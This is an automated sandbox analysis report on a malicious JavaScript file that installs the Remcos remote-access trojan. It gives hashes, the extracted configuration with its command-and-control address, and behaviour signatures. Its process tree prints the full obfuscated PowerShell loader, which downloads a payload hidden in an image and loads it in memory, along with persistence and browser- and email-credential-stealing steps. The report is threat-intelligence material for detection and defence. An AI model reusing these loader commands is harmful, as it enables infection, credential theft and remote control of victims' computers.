Analysis
-
max time kernel
147s -
max time network
137s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
16-09-2024 07:14
Static task
static1
Behavioral task
behavioral1
Sample
C_UsersAdministratorDesktopWernbvFILE_DOC_SSLMUNSRG0014624.js
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
C_UsersAdministratorDesktopWernbvFILE_DOC_SSLMUNSRG0014624.js
Resource
win10v2004-20240802-en
General
-
Target
C_UsersAdministratorDesktopWernbvFILE_DOC_SSLMUNSRG0014624.js
-
Size
600KB
-
MD5
2b1f137f22ac559ec305ce5cfa8890b4
-
SHA1
78eea4d0412efdce79ecd7bd36381d9fcec3b07c
-
SHA256
87a46f9efd26fa0b9182f12ee89ef19975fab1927d056629142608f27cc5f4b1
-
SHA512
d772cf3cda1ac8368992d21217cd6c866a5554bc3f4e9ee728709c03d72e402f8bfcd5a21afc6e58dbcdba4090b0f9970b7adab857b1b6d85d123c24a616383c
-
SSDEEP
12288:W8hhuwMaJTTfrjTsfY51YkMLrl5sDdNZftj0Ue6BzNv2kSw0OORbrHy3JTpgxRmX:BhJKIzFt4nR6jX5n
Malware Config
Extracted
https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
Extracted
remcos
pc file
185.150.191.117:4609
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-PICFH2
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/3772-47-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/2008-46-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/1580-48-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/2008-46-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/1580-48-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Blocklisted process makes network request 2 IoCs
flow pid Process 6 2080 powershell.exe 20 2080 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2080 powershell.exe 4160 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation wscript.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts AddInProcess32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\enhadir.js" powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 2080 set thread context of 548 2080 powershell.exe 91 PID 548 set thread context of 1580 548 AddInProcess32.exe 93 PID 548 set thread context of 2008 548 AddInProcess32.exe 94 PID 548 set thread context of 3772 548 AddInProcess32.exe 96 -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4160 powershell.exe 4160 powershell.exe 2080 powershell.exe 2080 powershell.exe 3772 AddInProcess32.exe 3772 AddInProcess32.exe 1580 AddInProcess32.exe 1580 AddInProcess32.exe 1580 AddInProcess32.exe 1580 AddInProcess32.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
pid Process 548 AddInProcess32.exe 548 AddInProcess32.exe 548 AddInProcess32.exe 548 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4160 powershell.exe Token: SeDebugPrivilege 2080 powershell.exe Token: SeDebugPrivilege 3772 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 33 IoCs
description pid Process procid_target PID 444 wrote to memory of 4160 444 wscript.exe 82 PID 444 wrote to memory of 4160 444 wscript.exe 82 PID 4160 wrote to memory of 2080 4160 powershell.exe 84 PID 4160 wrote to memory of 2080 4160 powershell.exe 84 PID 2080 wrote to memory of 1076 2080 powershell.exe 87 PID 2080 wrote to memory of 1076 2080 powershell.exe 87 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 2080 wrote to memory of 548 2080 powershell.exe 91 PID 548 wrote to memory of 1580 548 AddInProcess32.exe 93 PID 548 wrote to memory of 1580 548 AddInProcess32.exe 93 PID 548 wrote to memory of 1580 548 AddInProcess32.exe 93 PID 548 wrote to memory of 1580 548 AddInProcess32.exe 93 PID 548 wrote to memory of 2008 548 AddInProcess32.exe 94 PID 548 wrote to memory of 2008 548 AddInProcess32.exe 94 PID 548 wrote to memory of 2008 548 AddInProcess32.exe 94 PID 548 wrote to memory of 2008 548 AddInProcess32.exe 94 PID 548 wrote to memory of 2512 548 AddInProcess32.exe 95 PID 548 wrote to memory of 2512 548 AddInProcess32.exe 95 PID 548 wrote to memory of 2512 548 AddInProcess32.exe 95 PID 548 wrote to memory of 3772 548 AddInProcess32.exe 96 PID 548 wrote to memory of 3772 548 AddInProcess32.exe 96 PID 548 wrote to memory of 3772 548 AddInProcess32.exe 96 PID 548 wrote to memory of 3772 548 AddInProcess32.exe 96
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\C_UsersAdministratorDesktopWernbvFILE_DOC_SSLMUNSRG0014624.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:444 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQBhADYAMAAxADYAMAA2AC4AdQBzAC4AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AMQAwAC8AaQB0AGUAbQBzAC8AZABlAGEAdABoAG4AbwB0AGUAXwAyADAAMgA0ADAANwAvAGQAZQBhAHQAaABuAG8AdABlAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGkAbQBhAGcAZQBVAHIAbAApADsAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQAnACkAOwAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwAwAC8AMgBYAFgAbgBDAC8AZAAvAGUAZQAuAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAnADEAJwAgACwAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcACcAIAAsACAAJwBlAG4AaABhAGQAaQByACcALAAnAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgAnACwAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAKQApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/2XXnC/d/ee.etsap//:sptth' , '1' , 'C:\ProgramData\' , 'enhadir','AddInProcess32','desativado'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\enhadir.js"4⤵PID:1076
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:548 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\rhkzdvftwajgbfxafqczyfvmyjdstcq"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1580
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\cjprdoqvkjblmlteobotjkqvyqvamnpzho"5⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:2008
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\mdvkeg"5⤵PID:2512
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\mdvkeg"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3772
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
64B
MD550a8221b93fbd2628ac460dd408a9fc1
SHA17e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA25646e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA51227dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD5c0ab2847671ed5375328c5127a02cc72
SHA1dc2bcb51562fb17e5c8787833bc0181d88a5b75e
SHA256e961f466a0638bc99182d0056245e2d8bf1ccc13a189b802aada981f379e2384
SHA5120b8b634d21ac71e02cef86687bf84b6fcecfd24dafab8130f42ce8b4b3f308a2e1b1fa7bf8d37f2eda76efae2b30b8d39f41d808d771562d8545ed144241924f